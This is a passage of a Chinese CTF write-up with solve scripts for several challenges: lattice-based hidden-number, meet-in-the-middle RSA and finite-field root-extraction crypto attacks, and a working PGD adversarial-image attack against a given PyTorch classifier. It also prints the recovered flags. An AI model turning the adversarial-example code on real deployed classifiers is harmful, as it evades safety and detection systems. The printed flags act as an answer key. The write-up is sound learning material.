m2=pow(c,d2,n2)
print(long_to_bytes(m2))

baby_lattice

经典的HNP问题

py
# sage
from gmpy2 import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import math
p = 13401991645840298882794100147034379521242237285821020793208518466205688272722127694554243298223159648613332253774886696888511245155898681828972316158766813
c = [
3547025130757031371763547817278671805806523773597386380426228204353325314755125874825372064344551510783942287325061869515563511720377069479838665918916338,
561524185998066303459395863084068415723518371857539287162474295289737845979144864495515229777991463363132381517905379393086271602757286846999926034367409,
10630918988200018501478600883655233518093875635494077893436132190015060760951001030031068630865667129447250982542911493607849695255758299063471724885107320,
5385738167688714294394456876987750423263279740302210790063861475593679005286633965917637168163655774852001750955925563171806165861440634515967640179944804,
3686451063569312252337028014973428925521749963152262622523483348285262144703447272544972123815729823760936936761643322992469583780002855185407873398768127,
9596580956215126253893458055745193704575088913515678341231900675542245449333964660007025564677263334281046226112471415925784249910282102204627251580303047,
9656829597739031272294632966205884640125918053307645634673206826103547310810254891833432384622548154588598670746803614688469837172848481449498079690935715,
9907308304392368929600091658386459655450451232070442677496713774343506026327224070703486188335961098033888098971263207077722473044862118000082007110037557,
7839372385123283975949639433665292734490760458360682832497005213559939527031767909811695257768341209806346811519315554587887588294359891829457980910373676,
9524560447616291402016995361580593070951296833074538783490159546001656765257005901587161833656370873513309819850104060230660386406669378214335512722509152,
8734422874517209772760818316188000967216535009508164549745674472106165337990045713973843427581730460676070294620298664038968581128044873585552989614725336,
5148158222052082942951739997892280954937954769195857112271289335776175568625514426629773392655353554820374445881301175856523121361252868192790918069469104,
3405639365216597742633558534342314393231966921971024333387009357007031255109911181571542920889177048552084631482291912851876735480121959418518626599223928,
6965895908963098896413697893751255263053889382630643791713636829201586125658579731479485123904224727756791164618191156426250811133029277086293720268527300,
515472047175628755463279789359658211455570096067652817360508027869002916852457796014115363850477155232728049656195126940493402028508630979737222916876246,
8377848726362282033165443045774756072489017398005262818165334796393061408947900148462399707261050565348807577258621241416711089587307194346694505937252864,
1178755053483981880338850194698011124968424379914871101461970724324613752209283539401502897388962321646518511682063263530792638817282211333222820982688221,
6409725586399153562174435158247599193499008381130383743433623949976530392240171542527657077771723107664747118903213393154893390715457247849808357209465942,
3372824803484968486680937546271819996332625362891283809637871759604598252172343794474197823370030403360262989580844260103083478034905726890611202238641340,
13221067729455004299677399984872603663881675510140157358091630484387026309376774076498558628883879446483977202290444900329681753187886973457338777404374837,
7168388056726802823482632673894477305062116631923141017136239676696007696629606782541016490173953868270727600022309320772114799519383514048456314407549126,
5250230933448962245502125593869313477032913928941516938273943408457441209365441112912617832856547549404891414953525445963675011329667621804152746371657313,
8511291855606246692070730459514263912089592580342504124890734122750181111943376656479213361961009582891618556261302703133404839204999651359329176948170842,
10576966024912004586600985705328475294820172279541596349092328002861342696932964481093301707680584309062968518297314914578723605267596141569538103299931592,
12610576251820483830699440118009518195547953924641848179631259695652398482759919292823264035055444639679877606276670927735340951916197191958922906156370663,
3742260845065949575192054445757226288737527960324254459850715703182879384214273141678432129201712761002566924178045796602250837169613100836509080462118064,
11563799338655584285772430060426469486983276581413105960901201146319641194721216394735314795999096052047566733050321685673448559752053334666493545565267458,
2135904971793751083168704063674429207856744601756475004904460101727999030934815461118290836502605293753384609825541213034656253854812143724421464450937515,
3115138049292154301818359336614981367419382594686950083225042221335435796679806070685800479754927915293066789893346628151325862299622031407323031470432866,
11834987428374239733081967249175125232293539826462896997963240557834259212701171232384194311849363016441847536816726226234955703291712817155658535826680986,
]
a = [
8016983781273189754281912962247057409930227455812224730112055674262101679986538896353333785641031178561641562965339977035588567181180100475283408488320671,
12980173980684618239567238092970002844391225790428809984588444288874980047043175328056782109973890659670718383856150425014293022930574469326618263083648099,
8109856702010014482292978050018141635784057812487351143916154508689142112615449144377702002382005662470835964315028619291602564624893518861557701327890923,
12785373226115694299429762427866573289359143336748874789256870948157808484043436344897926547699412946084053665605873366419653263394817308889578649556482317,
12293720016807713691819354075258380849321736691923473670291035750221768289875347194928451102365603432383881559318603460687890903510706219895796459019974867,
9784378896444105030039569921777285228994264456281120536753266782980679466146906618674672118057906497814953677764528302638725540882074537262487534252076829,
9241433814815706758885649801540944918822400007457713603674159882791199750057709773097552334465041959969676782253637817171507122904345522225398825682237481,
11204803848333722110323297716136514262820561394355433234423667799557561253910421337700868735544193790444406938869863716247161888020220901893711513603634809,
10851090251796215969502640347727949807230163009657915435491546953253351810608099195268759626721620529756828379004467476267712531905975334082089231769707617,
11250957460128461102060212243723539805901629603092001540925013383541943835129096257407578679799378517176957440298695788786794500447140718667332595080944869,
12248623923069220370917375593286718711586079377902376988707257328512455851210970182518826733646869485671374318338949112466814956514662420760908691130244383,
11061068271412202445428992286301637014530049371871820612053163253748795430394720967354122057185625710764847486790478210908967065668096047462000900877243843,
9250800791153158078642768324800520716511537203538708124830844957330029236789799844775267058446261708862442981956837389747149720449997356553753692631237873,
11442112467994330302413453979716258058149104607244851803491048585747359474970005873336772224480265499136742622823880716879860377641238675210553131052206691,
8851268226889934481971979527547782930762103134830344221114784617526682434893736517219781937490279514229768881864475696389373739501629994242420024622585309,
8761826274329402585517262093482651333161640060627583337505498299736119877176278155436111156185319629046980645810012652601825582701466570339570478108791887,
8173260008522260126563915135008278248111293487661172115633899079869720932758788675224579864948752039769531398938248083971071345978173279466336354696742377,
11733325877716881936637372036969125985631514189799569847189115606745019694984456424617859168884541552882900918661071180298079869943357668081866511603361429,
12798678249651545625305346509566263707129030745621625744465668772298872710674031103310015594375483838020916596533864897632924958154707810583510669376046159,
11972367565183102195894957634073708898746516169055154830786380821612631063771935949099855541345280195465211676841845799521135332692746439801114025346776451,
8309485355838062558333744941897142201736283502970173073711189070760311131678107029730686549988329677109870570827466668034034377094834508445549924223585219,
10037957030668927878463105058548635761147918169468443696251870837018029994579358415317101911755591591785037623566701920710453008930531891302329922308475079,
13221078857886779075714191159549244640144219704164657103905516889650093241197471185563906205007376146027157620524696025494715411571586859030421582641250071,
13377141034964464295846379646837504968557246139611266461228568513844912255762222441387410898249170108735540582627742796017922462329606088337301365183628591,
11503417590216916228951909788782481610038959664264972733435373475346403291387209063270057139621628854733942831548624992555175497319058962145185736395531609,
10682562966818807073688884352394574841623385668134186058213080078637580526582062737913378756835873195913042020318042792997704842570481165538229628253983417,
7009494733984067792833862756223517770477471938386639921019003601598472840183655333614008677846799784155444425042016748876974547683111073376705004070094301,
9396274922380984183217450286560296708001013262936289587249206096013034374236192395477584831821730898646879768741299571262843654547918064041618890696711333,
9055143657462834722016836241561857041386247088507191351272758917384350750091500866289528933248085632291073921554368989805281660196853938630560350667255913,
7075881589550115729079726581415060529537262743216265811601339312252250745864621882784185460812341989475906020671174894015501378625757286896275136526488817,
]
iv=b'\x88\x0c\x7f\x92\xd7\xb7\xaf4\xe4\xfb\xd1_\xab\xff)\xb8'
ciphertext=b'\x94\x198\xd6\xa2mK\x00\x06\x7f\xad\xa0M\xf7\xadV;EO$\xee\xcdB0)\xfb!&8%,M'

n = len(a)

M = Matrix(QQ, n + 2, n + 2)

for i in range(n):

M[i, i] = p
M[-2, i] = a[i]
M[-1, i] = -c[i]

K = 2 ^ 400
t = K / p

M[-2, -2] = t
M[-1, -1] = K

L = M.LLL()

x = L[1][-2] // t
m = x % p
print(int(m))
key=int(m)
if key is not None:
key_aes = str(key).encode()[:16]
cipher = AES.new(key_aes, AES.MODE_CBC, iv)
flag = cipher.decrypt(ciphertext)
# 去除可能的填充
flag = flag[:-flag[-1]].decode()
print("Flag:", flag)
else:
print("Failed to recover key")
# Flag: NSSCTF{F@@@un7_L4444t1c3333!!}

MIMT_RSA

已知KEY不是素数。设 KEY = u * v,其中 u为 18 位以内的正整数(2 <= u < 2^18, u<=v)。U=pow(u,e,n),V=pow(v,e,n),ck=U*V,则可以预先跑出U,再遍历V,用哈希表查找。实际上v大概为一个20位的数。

py
from Crypto.Util.number import inverse, isPrime
from hashlib import md5
from tqdm import trange

# 已知的 RSA 参数(根据题目输出)
n = 26563847822899403123579768059987758748518109506340688366937229057385768563897579939399589878779201509595131302887212371556759550226965583832707699167542469352676806103999861576255689028708092007726895892953065618536676788020023461249303717579266840903337614272894749021562443472322941868357046500507962652585875038973455411548683247853955371839865042918531636085668780924020410159272977805762814306445393524647460775620243065858710021030314398928537847762167177417552351157872682037902372485985979513934517709478252552309280270916202653365726591219198063597536812483568301622917160509027075508471349507817295226801011
e = 65537
ck = 8371316287078036479056771367631991220353236851470185127168826270131149168993253524332451231708758763231051593801540258044681874144589595532078353953294719353350061853623495168005196486200144643168051115479293775329183635187974365652867387949378467702492757863040766745765841802577850659614528558282832995416523310220159445712674390202765601817050315773584214422244200409445854102170875265289152628311393710624256106528871400593480435083264403949059237446948467480548680533474642869718029551240453665446328781616706968352290100705279838871524562305806920722372815812982124238074246044446213460443693473663239594932076

# 设 KEY = u * v,其中 u为 18 位以内的正整数(2 <= u < 2^18, u<=v)

# 预计算 u^e mod n 建立字典
table = {}
for u in trange(2, 1 << 18):
U = pow(u, e, n)
table[U] = u

found = False
for v in trange(1 << 18, 1 << 30):
V = pow(v, e, n)
try:
inv_V = inverse(V, n)
except Exception:
continue # 如果不可逆则跳过
candidate = (ck * inv_V) % n
if candidate in table:
u = table[candidate]
KEY = u * v
# 验证 KEY 是否为 36 位且非素数
print("Found KEY:", KEY)
flag = b"NSSCTF{" + md5(str(KEY).encode()).hexdigest().encode() + b"}"
print("Flag:", flag.decode())
found = True
assert KEY.bit_length() == 36 and not isPrime(KEY)
break


if not found:
print("没有找到符合条件的 KEY")
# Found KEY: 62495925932 Flag: NSSCTF{14369380f677abec84ed8b6d0e3a0ba9}

baby_signin

e很小是phi的因子,用AMM有限域开方。

py
#sage
import libnum
p= 182756071972245688517047475576147877841
q= 305364532854935080710443995362714630091
c= 14745090428909283741632702934793176175157287000845660394920203837824364163635
n= 55807222544207698804941555841826949089076269327839468775219849408812970713531
e= 4

R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
res1 = f.roots()

R.<x> = Zmod(q)[]
f = x ^ e - c
f = f.monic()
res2 = f.roots()

for i in res1:
for j in res2:
# 普普通通中国剩余定理
m = crt(int(i[0]),int(j[0]),p,q)
flag = libnum.n2s(int(m))
if flag.startswith(b'NSS'):
print(flag)
# NSSCTF{4MM_1s_so_e4s7!}

Misc

AI

Mortis

soyo.png
public.py

py
# Some code in app.py
# Something was removed or modified
# It's a challenge of AI Security, please don't attack web server

from flask import Flask
from PIL import Image
import torch
from torch import nn
import torch.nn.functional as F
from torchvision import transforms
import os

app = Flask(__name__)


class MortisNet(nn.Module):
def __init__(self):
super(MortisNet, self).__init__()
self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1)
self.conv2 = nn.Conv2d(16, 32, kernel_size=3, padding=1)
self.conv3 = nn.Conv2d(32, 64, kernel_size=3, padding=1)
self.dropout1 = nn.Dropout(0.32123432)
self.fc1 = nn.Linear(64 * 64 * 64, 512)
self.fc2 = nn.Linear(512, 64)
self.fc3 = nn.Linear(64, 1)

def forward(self, x):
x = F.relu(self.conv1(x))
x = F.max_pool2d(x, 2)
x = F.relu(self.conv2(x))
x = F.max_pool2d(x, 2)
x = F.relu(self.conv3(x))
x = F.max_pool2d(x, 2)
x = torch.flatten(x, 1)
x = self.dropout1(x)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = torch.sigmoid(self.fc3(x))
return x


model = MortisNet()
model.load_state_dict(torch.load("mortis.pth", map_location=torch.device("cpu")))
model.eval()

transform = transforms.Compose(
[
transforms.Resize((512, 512)),
transforms.ToTensor(),
transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
]
)


def get_flag():
pass


def calculate_psnr(image1_path, image2_path):
pass


@app.route("")
def check(filename):
filepath = os.path.join(app.config[""], filename)
image = Image.open(filepath).convert("RGB")
input_tensor = transform(image).unsqueeze(0)
output = model(input_tensor).item()
original_image_path = ""
psnr_value = calculate_psnr(original_image_path, filepath)
os.remove(filepath)
print(f"模型输出值: {output}")
print(f"PSNR: {psnr_value}")
psnr_threshold = 40.0
if psnr_value < psnr_threshold:
return f"其他粉丝认为这张图是Anon,你辜负了Mutsumi小姐的信任!"
elif output > 0.9:
flag = get_flag()
return f"其他粉丝认为这张图是Soyo,Mortis小姐有极大把握认为这张图是Anon,恭喜你,揭穿了Morits小姐的真面目!她是{flag}"
elif output > 0.5:
return f"其他粉丝认为这张图是Soyo,Mortis小姐没太大把握认为这张图是Anon,请你提供更有力的证据!"
else:
return f"大家都认为你提供的图是Soyo,你辜负了Mutsumi小姐的信任!"

用了PGD攻击

py
import torch
import torch.nn.functional as F
from torchvision import transforms
from PIL import Image
import numpy as np


# 定义 MortisNet 模型
class MortisNet(torch.nn.Module):
def __init__(self):
super(MortisNet, self).__init__()
self.conv1 = torch.nn.Conv2d(3, 16, kernel_size=3, padding=1)
self.conv2 = torch.nn.Conv2d(16, 32, kernel_size=3, padding=1)
self.conv3 = torch.nn.Conv2d(32, 64, kernel_size=3, padding=1)
self.dropout1 = torch.nn.Dropout(0.32123432)
self.fc1 = torch.nn.Linear(64 * 64 * 64, 512)
self.fc2 = torch.nn.Linear(512, 64)
self.fc3 = torch.nn.Linear(64, 1)

def forward(self, x):
x = F.relu(self.conv1(x))
x = F.max_pool2d(x, 2)
x = F.relu(self.conv2(x))
x = F.max_pool2d(x, 2)
x = F.relu(self.conv3(x))
x = F.max_pool2d(x, 2)
x = torch.flatten(x, 1)
x = self.dropout1(x)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = torch.sigmoid(self.fc3(x))
return x


# 选择设备
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# 加载模型及权重
model = MortisNet().to(device)
model.load_state_dict(torch.load("mortis.pth", map_location=device))
model.eval()

# 定义预处理与逆标准化函数
transform = transforms.Compose(
[
transforms.Resize((512, 512)),
transforms.ToTensor(),
transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
]
)


def inv_transform(tensor):
"""将归一化后的张量转换回原图([0,255],uint8)"""
tensor = tensor.cpu()
mean = torch.tensor([0.485, 0.456, 0.406]).view(3, 1, 1)
std = torch.tensor([0.229, 0.224, 0.225]).view(3, 1, 1)
tensor = tensor * std + mean
tensor = (tensor * 255).clamp(0, 255).byte().permute(1, 2, 0).numpy()
return tensor


def calculate_psnr(img1, img2):
"""
计算两个图像(numpy 数组,范围 [0,255])的 PSNR 值
"""
mse = np.mean((img1.astype(np.float32) - img2.astype(np.float32)) ** 2)
if mse == 0:
return float("inf")
PIXEL_MAX = 255.0
psnr = 20 * np.log10(PIXEL_MAX / np.sqrt(mse))
return psnr


def pgd_attack_with_psnr_and_output(
image, epsilon, alpha, num_iter, psnr_threshold=40.0, output_threshold=0.9
):
"""
使用 PGD 攻击生成对抗样本,同时监控反归一化后图像的 PSNR 与模型输出值。
仅当 PSNR ≥ psnr_threshold 且 output > output_threshold 时,才记录为有效对抗样本。

参数:
image: 归一化后的输入图片,shape [1, C, H, W]
epsilon: 最大允许扰动(归一化空间)
alpha: 每步扰动步长
num_iter: 迭代次数
psnr_threshold: PSNR 下限(例如40)
output_threshold: 输出阈值(例如0.9)
"""
# 保存原始图像(归一化后)及其反归一化版本(用于 PSNR 计算)
orig_image = image.clone().detach()
orig_de_norm = inv_transform(orig_image.squeeze(0))

# 根据 Normalize 参数计算归一化空间中每个通道的合法范围
mean_tensor = torch.tensor([0.485, 0.456, 0.406], device=device).view(1, 3, 1, 1)
std_tensor = torch.tensor([0.229, 0.224, 0.225], device=device).view(1, 3, 1, 1)
lower_bound = (0 - mean_tensor) / std_tensor
upper_bound = (1 - mean_tensor) / std_tensor

adv_image = image.clone().detach().to(device)
adv_image.requires_grad = True

best_adv = None
best_output = -float("inf")

# 使用一个目标标签帮助计算梯度(这里目标是使模型输出尽可能接近1)
target = torch.tensor([[1.0]], device=device)

for i in range(num_iter):
output = model(adv_image)
loss = -F.binary_cross_entropy(output, target) # 最大化输出
model.zero_grad()
loss.backward()

# PGD 更新(在归一化空间)
adv_image = adv_image + alpha * adv_image.grad.sign()
# 限制扰动在 epsilon 范围内,同时保证每个通道在合法范围内
perturbation = torch.clamp(adv_image - image, min=-epsilon, max=epsilon)
adv_image = torch.clamp(
image + perturbation, min=lower_bound, max=upper_bound
).detach()
adv_image.requires_grad = True

# 计算反归一化后图像的 PSNR 与当前模型输出
current_de_norm = inv_transform(adv_image.squeeze(0))
psnr_val = calculate_psnr(orig_de_norm, current_de_norm)
current_output = model(adv_image).item()
print(f"Iteration {i+1}: PSNR = {psnr_val:.2f}, Output = {current_output:.4f}")

# 如果当前样本同时满足 PSNR 与输出阈值,则记录为最佳样本(以 output 为准)
if (
psnr_val >= psnr_threshold
and current_output > output_threshold
and current_output > best_output
):
best_output = current_output
best_adv = adv_image.clone().detach()

if best_adv is not None:
print(
f"最终找到的对抗样本:PSNR ≥ {psnr_threshold} 且 Output = {best_output:.4f}"
)
return best_adv
else:
print("未找到满足 PSNR 与输出阈值要求的对抗样本。")
return None


# 读取原始图片
image_path = "soyo.png"
image = Image.open(image_path).convert("RGB")
input_tensor = transform(image).unsqueeze(0).to(device)

# 设置 PGD 攻击参数(根据实验结果调节)
epsilon = 0.05 # 最大扰动(归一化空间)
alpha = 0.002 # 每步扰动步长
num_iter = 100 # 迭代次数

# 执行 PGD 攻击,同时监控 PSNR 与 output
adv_image = pgd_attack_with_psnr_and_output(
input_tensor, epsilon, alpha, num_iter, psnr_threshold=40.0, output_threshold=0.9
)

if adv_image is not None:
adv_np = inv_transform(adv_image.squeeze(0))
adv_pil = Image.fromarray(adv_np)
adv_pil.save("adv_soyo_pgd_monitor.png")
print("对抗样本生成完成,已保存为 adv_soyo_pgd_monitor.png。")
final_output = model(adv_image).item()
print("最终模型输出值:", final_output)
else:
print("攻击未成功,未生成满足 PSNR 与输出要求的对抗样本。")

adv_soyo_pgd_monitor
soyo小姐么么么